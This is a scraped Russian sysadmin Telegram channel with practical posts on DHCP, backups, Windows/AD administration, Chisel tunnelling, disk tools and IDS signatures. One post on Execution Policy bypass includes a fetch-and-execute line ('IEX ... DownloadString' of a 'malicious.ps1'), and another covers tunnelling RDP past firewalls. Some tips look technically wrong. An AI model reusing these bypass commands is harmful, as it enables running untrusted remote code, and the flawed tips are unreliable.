NetworkAdmin.ru – Telegram
NetworkAdmin.ru
4.75K subscribers
226 photos
25 videos
2 files
499 links
Авторский блог про сетевое и системное администрирование.

Сайт: networkadmin.ru
Реклама: @dad_admin
Биржа: https://telega.in/c/networkadminru
Download Telegram
✍️ Как работает DHCP и почему его стоит изучить глубже

DHCP (Dynamic Host Configuration Protocol) - один из самых базовых сетевых протоколов, который знаком любому администратору. Однако, если его не изучать специально, можно упускать важные нюансы.

🔵 Широковещательный домен

Клиент отправляет запрос на получение настроек широковещательно, поэтому сервер должен находиться в том же широковещательном домене. Если сеть сегментирована, то используется DHCP Relay, который пересылает запросы между сегментами.

🔵 Порты DHCP

Сервер слушает на UDP 67
Клиент принимает ответы на UDP 68

🔵 Что раздает DHCP-сервер

Помимо IP-адреса, маски и шлюза, сервер может передавать множество параметров:

DNS-серверы
Статические маршруты
Адрес TFTP-сервера (например, для PXE-загрузки)
MTU, часовой пояс, список NTP-серверов и многое другое

🔵 Механизм аренды IP-адресов

Когда клиент получает IP-адрес, он арендует его на определенное время.
По истечении половины аренды клиент пытается продлить ее
Если продление не удалось, адрес остается в использовании до конца аренды
После истечения аренды клиент снова ищет сервер для получения нового IP

🔵 Назначение IP-адресов клиентам. DHCP-сервер может назначать адреса:

По MAC-адресу
По ClientID (Machine-ID), который в ряде случаев имеет приоритет

🔵 Последовательность обмена DHCP-сообщениями

1️⃣ DHCPDISCOVER – клиент ищет DHCP-сервер
2️⃣ DHCPOFFER – сервер предлагает параметры
3️⃣ DHCPREQUEST – клиент выбирает и запрашивает конфигурацию
4️⃣ DHCPACK – сервер подтверждает выделенный IP

🔵 Конфликты IP-адресов

DHCP-сервер не гарантирует, что в сети не будет конфликтов IP-адресов. Он может проверять доступность IP перед выдачей, но это не исключает коллизий.

⭐️ DHCP Snooping – защита от «левых» DHCP-серверов

Иногда в сети появляется «нелегальный» DHCP-сервер. Например, сотрудник подключает свой домашний роутер к офисной сети, и часть клиентов начинает получать IP-адреса от него. В результате доступ в сеть ломается.

Решить проблему помогает DHCP Snooping - механизм защиты на уровне коммутаторов:

Коммутатор фильтрует DHCP-трафик и отбрасывает запросы с неавторизованных портов
DHCP-серверы доверяются только на определенных портах
Это предотвращает работу поддельных DHCP-серверов в сети

#network #DHCP

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥2
Не мы такие, жизнь такая 😐

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16😁6😢2
🖨️ Windows сама меняет принтер по умолчанию? Исправляем!

Начиная с Windows 10 1511, Microsoft изменила логику выбора принтера по умолчанию. Теперь система автоматически назначает последний использованный принтер в текущем местоположении.

Разбираемся, как отключить автоназначение принтера в Windows. Запретить системе менять принтер по умолчанию несколькими способами:

1️⃣ Через параметры Windows:

Отключите опцию «Let Windows manage my default printer» в Настройки → Устройства → Принтеры и сканеры.

2️⃣ Через реестр: Выполните команду:


REG ADD "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LegacyDefaultPrinterMode /t REG_DWORD /d 1 /f


3️⃣ Через групповую политику (GPO):

Настройте параметр «Turn off Windows default printer management» в разделе:

User Configuration → Administrative Templates → Control Panel → Printers

После применения настроек Windows больше не будет менять принтер автоматически

#windows #printers

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🤡3🔥1
Forwarded from Network Quiz
"Network Quiz" - канал с ежедневными квизами по сетям.

Выберите из списка публичный IP-адрес:
Anonymous Quiz
👍10👎10😱53🔥2
😄 Автоматизация резервного копирования логов в Linux: rsync

rsync - это инструмент для синхронизации файлов и каталогов. Пример команды для копирования логов на удалённый сервер:


rsync -avz --delete /var/log/ user@backup-server:/backup/logs/


-a - архивный режим (сохраняет права и атрибуты)
-v – показывает процесс копирования
-z – сжатие данных при передаче
--delete – удаляет на резервном сервере файлы, которых нет в исходной папке

▪️Для копирования по SSH без пароля можно создать ключи:


ssh-keygen -t rsa
ssh-copy-id user@backup-server


▪️ Автоматизация через cron. Чтобы rsync запускался автоматически, добавим задание в cron:


crontab -e


Пример задания для ежедневного копирования логов в 3 часа ночи:


0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/


▪️ Проверка и мониторинг. Можно добавить запись в лог при успешном выполнении:


0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/ >> /var/log/backup.log 2>&1


Проверить, срабатывает ли задача, можно командой:


grep rsync /var/log/syslog


#linux #backup

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍163
😢 Обход ограничений Execution Policy в Windows: способы и риски

PowerShell в Windows использует Execution Policy для защиты от запуска неподписанных или вредоносных скриптов. Однако часто возникает ситуация, когда необходимо обойти эти ограничения. Разберём популярные способы.

1️⃣ Запуск с параметром -ExecutionPolicy Bypass. Самый простой способ временно отключить политику выполнения:


powershell -ExecutionPolicy Bypass -File noscript.ps1


Позволяет запустить скрипт без изменения системных настроек.

2️⃣ Изменение политики выполнения. Можно явно разрешить выполнение скриптов:


Set-ExecutionPolicy Unrestricted -Scope Process


⚠️ Работает только в текущем сеансе PowerShell.

3️⃣ Выполнение через powershell -Command. Позволяет выполнять код без изменения политики:


powershell -Command "Start-Process notepad.exe"


Хорошо подходит для разового выполнения команд.

4️⃣ Использование IEX (Invoke-Expression). Позволяет загружать и выполнять код из строки или сети:


IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')


Удобно для удалённого выполнения команд.

5️⃣ Изменение реестра. Политику можно изменить через реестр:


Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name ExecutionPolicy -Value Unrestricted


Даёт постоянный эффект.

6️⃣ Использование PowerShell.dll. Можно загрузить PowerShell как библиотеку в обход стандартного механизма запуска:


System.Management.Automation.PowerShell.Create().AddScript("Start-Process calc.exe").Invoke();


Подходит для внедрения в программы.

#windows #noscripts

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14
Как узнать, кто активно использует swap в Linux?

1️⃣ Проверка через top. В top по умолчанию нет колонки с использованием swap, но её можно включить:

1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap

Однако top не всегда корректно отображает эти данные, поэтому в htop колонку со swap вовсе убрали, чтобы не вводить пользователей в заблуждение.

2️⃣ Точный способ через /proc. Более надёжный способ – заглянуть в файлы /proc/$PID/smaps или /proc/$PID/status:

/proc/$PID/smaps – самый точный, но требует сложных вычислений
/proc/$PID/status – содержит суммарное значение в поле VmSwap, удобнее для быстрого анализа

✏️ Bash-скрипт для проверки. Можно использовать простой скрипт, который покажет, какие процессы активно используют swap:


#!/bin/bash
SUM=0
OVERALL=0
for DIR in $(find /proc/ -maxdepth 1 -type d -regex "^/proc/[0-9]+"); do
PID=$(basename $DIR)
PROGNAME=$(ps -p $PID -o comm --no-headers)
for SWAP in $(grep VmSwap $DIR/status 2>/dev/null | awk '{ print $2 }'); do
let SUM=$SUM+$SWAP
done
if (( $SUM > 0 )); then
echo "PID=$PID swapped $SUM KB ($PROGNAME)"
fi
let OVERALL=$OVERALL+$SUM
SUM=0
done
echo "Overall swap used: $OVERALL KB"


Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.

🌟 Быстрая проверка в одну команду. Если нет желания писать скрипты, можно просто выполнить:


for file in /proc/*/status; do
awk '/VmSwap|Name/{printf $2 " " $3} END { print ""}' $file
done | sort -k 2 -n -r | less


Эта команда отобразит процессы, отсортированные по объёму используемого swap.

#linux #swap #monitoring

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍104
✉️ Бэкап почты через imap-backup: сохраняем письма локально

imap-backup - удобный инструмент для скачивания писем из любого IMAP ящика и сохранения их локально в формате mbox.

▪️ Когда это может пригодиться?

Перенос почты: например, если нужно забрать письма из облачного сервиса.
Архивирование старых писем: можно скачать только письма за последние 3 года (или другой период) и хранить их локально.
Бэкап на случай утери доступа к облачным ящикам.


▪️ Установка imap-backup. Программа написана на Ruby, так что проще всего установить её через gem:


apt install rubygems -y
gem install imap-backup


▪️ Настройка. После установки можно выполнить первоначальную настройку через команду:


imap-backup setup


Или создать конфиг вручную (~/.imap-backup/config.json). Пример для Яндекса:


{
"version": "2.0",
"accounts": [
{
"username": "zabbix@networkadmin.ru",
"password": "pass",
"local_path": "/root/.imap-backup/zabbix_networkadmin.ru",
"folders": [],
"server": "imap.yandex.ru"
}
]
}


⚠️ Для доступа по IMAP в настройках почтового ящика нужно создать пароль для приложения.

▪️ Как это работает?

imap-backup скачивает письма в отдельный каталог.
Каждая IMAP-папка - это отдельный файл mbox.
Формат mbox можно легко открыть в Thunderbird с помощью ImportExportTools NG.

#backup #email

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18
Это была непростая задача, но он справился 😏

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁21🔥19👍2🤡2
👤 Добавление фото пользователя в Active Directory

В Active Directory можно хранить фото пользователей, которое затем отображается в Outlook, Word, Excel, Lync, SharePoint и даже используется в качестве аватарки в Windows.

💡 Фото хранится прямо в AD, поэтому не стоит загружать слишком большие изображения, чтобы избежать лишней нагрузки на каталог.

📌 Рекомендуемый размер - 96x96 пикселей, до 10 Кб.

▪️ Как загрузить фото в AD через PowerShell? Используем командлет Set-ADUser:


$photo = [byte[]](Get-Content C:\PS\admin_photo.jpg -Encoding byte)
Set-ADUser vvkuzmin -Replace @{thumbnailPhoto=$photo}


Теперь фото появится в поддерживаемых приложениях и в системе.

#windows #activedirectory

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
🖥 Chisel: проброс TCP/UDP-трафика через HTTP-туннели

Chisel - это удобный инструмент для создания HTTP-туннелей и проброса трафика через ограниченные сети. Он позволяет прокидывать TCP/UDP-соединения через HTTP/HTTPS, обходя firewall'ы и NAT. Полезен для удалённого администрирования, тестирования безопасности и обхода сетевых ограничений.

▪️ Особенности Chisel

🔹 Поддерживает двухсторонние TCP и UDP туннели
🔹 Работает через HTTP и HTTPS (можно замаскировать под веб-трафик)
🔹 Поддерживает авторизацию через ключи
🔹 Кроссплатформенный: Windows, Linux, macOS

▪️ Как использовать Chisel?

1️⃣ Запускаем сервер на машине с внешним IP:


chisel server --port 8080 --reverse


2️⃣ Подключаем клиента для проброса порта (например, RDP 3389) на удалённый сервер:


chisel client http://server-ip:8080 R:3389:127.0.0.1:3389


Теперь можно подключаться к удалённому серверу по localhost:3389.

#network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍16🔥4👌1
📎 Оптимизация работы с Bash-скриптами: функции, массивы, работа с JSON

1️⃣ Функции - пишем код повторно. Функции позволяют избежать дублирования кода и делают скрипты более читаемыми.

Пример функции с аргументами:


#!/bin/bash

log_message() {
local level="$1"
local message="$2"
echo "[$level] $message"
}

log_message "INFO" "Скрипт запущен"
log_message "ERROR" "Произошла ошибка"


2️⃣ Массивы - храним данные удобнее. Вместо множества отдельных переменных можно использовать массивы.

Пример работы с массивами:


#!/bin/bash

servers=("server1" "server2" "server3")

for srv in "${servers[@]}"; do
echo "Подключаюсь к $srv..."
done


3️⃣ Работа с JSON через jq. Bash не умеет работать с JSON, но jq исправляет этот недостаток.

Разбираем JSON и получаем данные:


#!/bin/bash

json='{"user": "admin", "role": "root"}'

user=$(echo "$json" | jq -r '.user')
role=$(echo "$json" | jq -r '.role')

echo "Имя пользователя: $user"
echo "Роль: $role"


#bash

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍92
🤢 Удобный инструмент для резервного копирования и восстановления Linux

Если вы ищете простой и надежный способ бэкапа и восстановления Linux-систем, попробуйте ReaR (Relax and Recover). Этот инструмент позволяет создавать резервные копии как физических серверов, так и виртуальных машин, формируя загрузочный ISO-образ и архив данных.

▪️ Установка ReaR в Debian. ReaR есть в стандартных репозиториях, так что установка проходит просто:


apt install rear genisoimage syslinux nfs-common


▪️ Как работает ReaR:

1️⃣ Создаёт загрузочный ISO-образ
2️⃣ Архивирует данные в tar
3️⃣ Позволяет восстановить систему через ISO + архив

Этот метод удобен, так как не требует остановки системы и работает без установки дополнительных агентов.

▪️ Пример настройки. Конфиг /etc/rear/local.conf для сохранения бэкапа на NFS:


OUTPUT=ISO
OUTPUT_URL=nfs://192.168.13.50/backup
BACKUP=NETFS
BACKUP_URL=nfs://192.168.13.50/backup
BACKUP_PROG_EXCLUDE=("${BACKUP_PROG_EXCLUDE[@]}" '/media' '/var/crash')


Запуск бэкапа:


rear -v -d mkbackup


На выходе получаем файлы:


backup.tar.gz, rear-debian.iso, README


▪️ Восстановление системы. Загружаемся с созданного ISO

Запускаем восстановление:


rear -v -d recover


ReaR автоматически восстанавливает разметку дисков, LVM, файловые системы и сетевые настройки.

#linux #backup

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍182😡1
Похоже на массовый сбой 🧐

#юмор

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
😁48🗿3🌚1
🫂 Ограничение на количество сетевых подключений в Windows

В десктопных версиях Windows 10 и 11 существует лимит на максимальное количество одновременных сетевых подключений – 20 активных сессий. Если этот предел превышен (например, при расшаривании папки или сетевого принтера), появляется ошибка:

🚫 Дополнительные подключения к этому удаленному компьютеру сейчас невозможны, так как их число достигло предела.


▪️ Почему так происходит?

Microsoft искусственно ограничивает использование десктопных версий Windows в качестве сервера, предлагая приобрести лицензию Windows Server, где подобных ограничений нет.

▪️ Управление сетевыми сессиями

Просмотр активных подключений:


net session


Отключение всех сессий с конкретного IP:


net session \\192.168.21.11 /d /y


Сокращение таймаута автоматического отключения неактивных клиентов (по умолчанию 15 минут, можно снизить до 5):


net config server /autodisconnect:5


▪️ Автоматическое отключение сессий через PowerShell. Можно настроить мониторинг активных подключений и отключение при превышении лимита, как пример:


$maxSessions = 18 # Устанавливаем порог (лучше немного ниже лимита)
$activeSessions = (query session 2>$null | Measure-Object -Line).Lines

if ($activeSessions -ge $maxSessions) {
Write-Host "Превышено допустимое количество подключений! Отключаем неактивные сессии..."
Get-CimInstance Win32_ServerConnection | ForEach-Object {
Net Session \\$_.ComputerName /DELETE /Y
Write-Host "Отключена сессия с $_.ComputerName"
}
} else {
Write-Host "Текущих подключений: $activeSessions. Все в пределах нормы."
}


Этот скрипт:

Проверяет количество активных подключений.
Если превышен заданный порог (например, 18 сессий), он отключает неактивные.
Выводит информацию в консоль.

Добавить исполнение в планировщик:


schtasks /create /tn "AutoCloseSessions" /tr "powershell.exe -File C:\Scripts\AutoCloseSessions.ps1" /sc minute /mo 5 /ru SYSTEM


#windows #sessions

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
🚫 Техники блокировки сайтов и приложений через GPO и PowerShell

В корпоративной среде возникают задачи ограничения доступа к определенным сайтам и приложениям. В Windows это можно реализовать несколькими способами: через GPO (Group Policy Object), PowerShell, брандмауэр (Windows Firewall) и DNS-фильтрацию. Сегодня разберем эти методы блокировки.

▪️ Блокировка сайтов через GPO (Group Policy Object). Этот метод подойдет для централизованного управления в домене Active Directory.

📍 Запрещаем доступ к сайтам через Internet Explorer/Edge:

1️⃣ Открываем gpedit.msc (или gpmc.msc для домена).
2️⃣ Переходим в:

Конфигурация пользователя → Политики → Административные шаблоны → Компоненты Windows → Internet Explorer → Панель управления Интернет-параметрами


3️⃣ Включаем политику "Ограничить доступ к определенным веб-сайтам" и добавляем запрещенные URL.

📍 Запрещаем сайты через "Файл хостов": Чтобы вручную перенаправить сайты на локальный IP, можно использовать GPO + скрипт PowerShell:


Set-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "127.0.0.1 vk.com`n127.0.0.1 youtube.com" -Force


Этот скрипт можно развернуть через GPO при входе пользователя в систему.

▪️ Блокировка сайтов через PowerShell и Windows Firewall. Этот метод позволяет запретить доступ ко всем браузерам к указанным сайтам.

Добавляем правило в брандмауэр Windows для блокировки сайтов:


New-NetFirewallRule -DisplayName "Block Facebook" -Direction Outbound -Action Block -RemoteAddress "157.240.0.0/16"


Этот метод хорош тем, что работает даже в Chrome, Yandex и других браузерах.

📍 Автоматическое определение IP-адресов сайтов:


$ips = [System.Net.Dns]::GetHostAddresses("youtube.com") | Select-Object IPAddressToString
New-NetFirewallRule -DisplayName "Block YouTube" -Direction Outbound -Action Block -RemoteAddress $ips.IPAddressToString


▪️ Блокировка приложений через GPO. Запрещаем запуск программ по имени:

1️⃣ Открываем gpedit.msc
2️⃣ Переходим в:

Конфигурация пользователя → Административные шаблоны → Система


3️⃣ Включаем политику "Не запускать указанные приложения Windows"
4️⃣ Добавляем chrome.exe, telegram.exe и другие запрещенные программы.

📍 Запрещаем запуск по пути: Если нужно заблокировать запуск из определенного каталога, можно использовать GPO:

Конфигурация компьютера → Политики → Настройки Windows → Параметры безопасности → Политики ограничения программ
Добавляем правило для C:\Users*\AppData\Local\Telegram Desktop.


▪️ Блокировка приложений через PowerShell. Автоматическое завершение процессов запрещенных программ:


$blockedApps = @("telegram.exe", "chrome.exe", "utorrent.exe")
while ($true) {
Get-Process | Where-Object { $_.ProcessName -in $blockedApps } | Stop-Process -Force
Start-Sleep -Seconds 5
}


Этот скрипт можно добавить в автозагрузку через GPO или Task Scheduler.

📍 Запрещение установки определенных программ:


New-AppLockerPolicy -Xml "C:\Policies\AppLocker.xml" -RuleCollectionType Executable


Можно указать список разрешенных программ, и все остальные просто не запустятся.

#windows #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
🗑 Восстановление случайно удаленных файлов в ext4 и XFS

Удаление файлов - дело секундное, но восстановление их может быть нетривиальной задачей. В файловых системах ext4 и XFS удаленные файлы могут оставаться на диске до тех пор, пока их блоки не будут перезаписаны. Поговорим про основные способы восстановления.

1️⃣ Восстановление в ext4 с помощью extundelete. extundelete позволяет восстановить файлы, если файловая система не была перезаписана.

Установка:


sudo apt install extundelete


Размонтируем диск (например, /dev/sdb1):


sudo umount /dev/sdb1


Восстановим все удаленные файлы:


sudo extundelete /dev/sdb1 --restore-all


Или восстановим конкретный файл:


sudo extundelete /dev/sdb1 --restore-file /home/user/deleted.txt


Файлы будут сохранены в каталоге RECOVERED_FILES.

2️⃣ Поиск удаленных файлов в ext4 с помощью debugfs. Если extundelete не сработал, можно использовать debugfs:

Открываем диск:


sudo debugfs /dev/sdb1


Показываем последние удаленные файлы:


lsdel


Восстанавливаем файл по inode:


dump <номер inode> recovered_file.txt


3️⃣ Восстановление файлов в XFS с помощью xfs_undelete. В XFS механизм хранения данных отличается, но можно воспользоваться xfs_undelete.

Установим утилиту:


git clone https://github.com/ianka/xfs_undelete.git
cd xfs_undelete
make
sudo make install


Запускаем сканирование диска и восстановление файлов:


sudo xfs_undelete -d /dev/sdb1 -o /mnt/recovery


Все найденные файлы окажутся в /mnt/recovery.

#linux #recovery

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
🔍 Диагностика дисковой подсистемы с ioping

ioping - это удобный инструмент для проверки производительности дисков в Linux. Работает по принципу ping, но для дисковой подсистемы: позволяет измерить задержки ввода-вывода (I/O latency), IOPS и скорость последовательного чтения. Утилита есть в стандартных репозиториях большинства дистрибутивов.

🔧 Установка ioping


sudo apt install ioping#для Debian/Ubuntu
sudo yum install epel-release && sudo yum install ioping#для CentOS
sudo pacman -S ioping#для Arch Linux


🛠 Основные команды диагностики

1️⃣ Проверка задержки дисковой операции (I/O latency). Запустим ioping в текущей директории:


ioping .

4 KiB <<< . (ext4 /dev/sda2 19.0 GiB): request=3 time=3.54 ms
4 KiB <<< . (ext4 /dev/sda2 19.0 GiB): request=4 time=3.68 ms


Это аналог ping, но показывает время выполнения дисковых операций.

2️⃣ Измерение среднего количества IOPS (операций ввода-вывода в секунду)


ioping -R /dev/sda

21.6 k requests completed in 2.93 s, 84.5 MiB read, 7.38 k iops, 28.8 MiB/s


Параметры:

-R - стресс-тест диска для оценки его IOPS.
-c 10 - ограничение на 10 запросов (по умолчанию тест идет бесконечно).

3️⃣ Тестирование последовательного чтения


ioping -RL /dev/sda

8.63 k requests completed in 2.79 s, 2.11 GiB read, 3.10 k iops, 774.3 MiB/s


Параметры:

-RL - измерение скорости последовательного чтения.
-s 64k - размер блока (по умолчанию 4 KiB).

4️⃣ Тестирование задержек в оперативной памяти (RAM)


ioping -c 10 -D /tmp


Флаг -D указывает ioping работать в RAM-диске /tmp, что полезно для диагностики производительности оперативной памяти.

🔥 Полезные опции

-c N - ограничение на N запросов.
-s SIZE - размер блока (по умолчанию 4 KiB).
-q - тихий режим, без вывода каждого запроса.
-i TIME - интервал между запросами (например, -i 0.2s).
-B - вывод в формате CSV (удобно для логов).


#linux #ioping #storage

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
Автоматическое монтирование сетевых папок через GPO

Чтобы автоматически монтировать сетевые папки с файлового сервера в качестве сетевых дисков, можно использовать предпочтения групповых политик (GPP).

📎 Основные возможности:

📍 Подключение сетевых дисков в зависимости от групп безопасности AD.
📍 Автоматическое назначение дисков для отделов и отдельных пользователей.
📍 Возможность подключения личного диска для каждого сотрудника.

👥 Гибкая настройка по группам

Например, можно настроить так, чтобы у всех сотрудников одного отдела автоматически подключалась папка с общими документами. Для этого достаточно добавить пользователя в соответствующую группу AD, и при следующем входе в систему у него появится нужный сетевой диск.

🔒 Персональные диски

Через GPO можно подключать не только общие, но и персональные диски для каждого сотрудника, например, для хранения личных документов.

Такой подход автоматизирует управление сетевыми ресурсами и избавляет от необходимости вручную подключать диски каждому пользователю.

#windows #network

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11😁1
🕹️ Запуск Linux-приложений в Windows через WSL и PowerShell

Windows Subsystem for Linux (WSL) позволяет запускать Linux-приложения прямо в Windows, включая консольные утилиты, серверные сервисы и даже графические программы. Разберём, как настроить WSL и запускать Linux-приложения через PowerShell.

⚙️ Установка WSL. В Windows 10/11 установка WSL довольно простая. Достаточно выполнить:


wsl --install


После этого система скачает и установит последнюю версию Ubuntu. Если WSL уже установлен, можно обновить ядро:


wsl --update


▪️ Запуск Linux-команд в PowerShell. Теперь можно выполнять команды Linux прямо из PowerShell, например:


wsl ls -la
wsl uname -a
wsl cat /etc/os-release


▪️ Запуск приложений из WSL. Чтобы запустить программу из WSL в Windows:


wsl htop # Мониторинг процессов
wsl python3 # Запуск Python


Графические приложения (если установлен WSLg) можно запускать так:


wsl firefox


▪️ Запуск Linux-скриптов в PowerShell. Если у вас есть Bash-скрипт, его можно выполнить прямо из PowerShell:


wsl /bin/bash -c "./mynoscript.sh"


▪️ Автозапуск WSL при входе в систему. Если нужно автоматически запускать сервисы (например, SSH), можно добавить команду в Task Scheduler или выполнить:


wsl -d Ubuntu -- /etc/init.d/ssh start


#WSL #linux #windows

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍172
✔️ Создание кастомных сигнатур в Suricata и Snort для обнаружения атак

Suricata и Snort - это системы обнаружения и предотвращения вторжений (IDS/IPS), которые используют сигнатуры для детектирования атак. Однако стандартные правила могут не покрывать все возможные угрозы, поэтому часто требуется писать собственные сигнатуры.

▪️ Основы сигнатур в Snort и Suricata. Сигнатура состоит из:

Заголовка (определяет тип трафика)
Опций (описывают условия срабатывания)

Пример базовой сигнатуры:


alert tcp any any -> any 80 (msg:"Possible Web Exploit"; content:"cmd="; nocase; sid:1000001; rev:1;)


alert - срабатывает как оповещение
tcp any any -> any 80 - трафик по TCP с любого IP и порта на любой IP, но только на порт 80
content:"cmd="; nocase; - ищет в пакете строку "cmd=", регистр не учитывается
sid:1000001; - уникальный ID сигнатуры

▪️ Создание кастомных правил. Пример обнаружения возможной атаки SQL Injection:


alert tcp any any -> any 80 (msg:"SQL Injection Attempt"; content:"UNION SELECT"; nocase; sid:1000002; rev:1;)


Если в HTTP-трафике будет найдено UNION SELECT, правило сработает.

Пример сигнатуры для обнаружения SSH-брутфорса (5 неудачных попыток за 60 секунд):


alert tcp any any -> any 22 (msg:"SSH Brute Force Attempt"; flags:S; threshold:type threshold, track by_src, count 5, seconds 60; sid:1000003; rev:1;)


▪️ Добавление сигнатур в Suricata. Открываем файл правил:


nano /etc/suricata/rules/custom.rules


Добавляем сигнатуры и обновляем конфигурацию:


suricata-update


Перезапускаем сервис:


systemctl restart suricata


▪️ Добавление правил в Snort. Открываем файл правил Snort:


nano /etc/snort/rules/local.rules


Добавляем сигнатуру и проверяем конфигурацию:


snort -T -c /etc/snort/snort.conf


Перезапускаем Snort:


systemctl restart snort


#network #security

🧑‍💻 NetworkAdmin
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11